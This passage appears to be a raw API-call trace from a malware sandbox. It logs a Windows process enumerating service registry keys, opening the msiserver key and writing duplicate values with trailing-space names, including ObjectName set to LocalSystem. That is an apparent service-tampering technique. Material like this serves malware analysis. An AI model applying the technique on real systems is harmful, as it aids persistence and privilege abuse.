RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0248.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0248.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0248.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0248.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0248.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0248.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0248.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0248.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0248.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0248.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0248.890] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0248.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0248.890] RegCloseKey (hKey=0x154) returned 0x0 [0248.890] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0248.890] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0248.890] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0248.890] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0248.890] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0248.890] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0248.890] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0248.890] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0248.891] RegCloseKey (hKey=0x80000002) returned 0x0 [0248.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0248.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0248.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0248.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0248.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0248.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0248.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0248.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0248.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0248.891] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.891] RegCloseKey (hKey=0xc4) returned 0x0 [0248.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0248.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0248.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0248.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0248.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0248.892] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0248.892] RegCloseKey (hKey=0x154) returned 0x0 [0248.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0248.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0248.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0248.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0248.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0248.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0248.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0248.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0248.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0248.893] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.893] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.893] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.893] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.893] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.893] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.893] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.893] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.893] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.893] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.893] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.894] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.894] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.894] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.894] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.894] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.894] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0248.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0248.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0248.895] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0248.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0248.895] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0248.895] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0248.895] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0248.895] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0248.895] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0248.895] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0248.895] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0248.895] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0248.896] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0248.896] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0248.896] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0248.896] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0248.896] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0248.896] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0248.896] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0248.896] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0248.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0248.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0248.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0248.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0248.897] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0248.897] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0248.897] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0248.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0248.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0248.897] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0248.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0248.897] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0248.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0248.897] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0248.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0248.897] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0248.897] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0248.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0248.897] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0248.898] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0248.898] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0248.898] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0248.898] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0248.898] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0248.898] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0248.898] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0248.898] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, 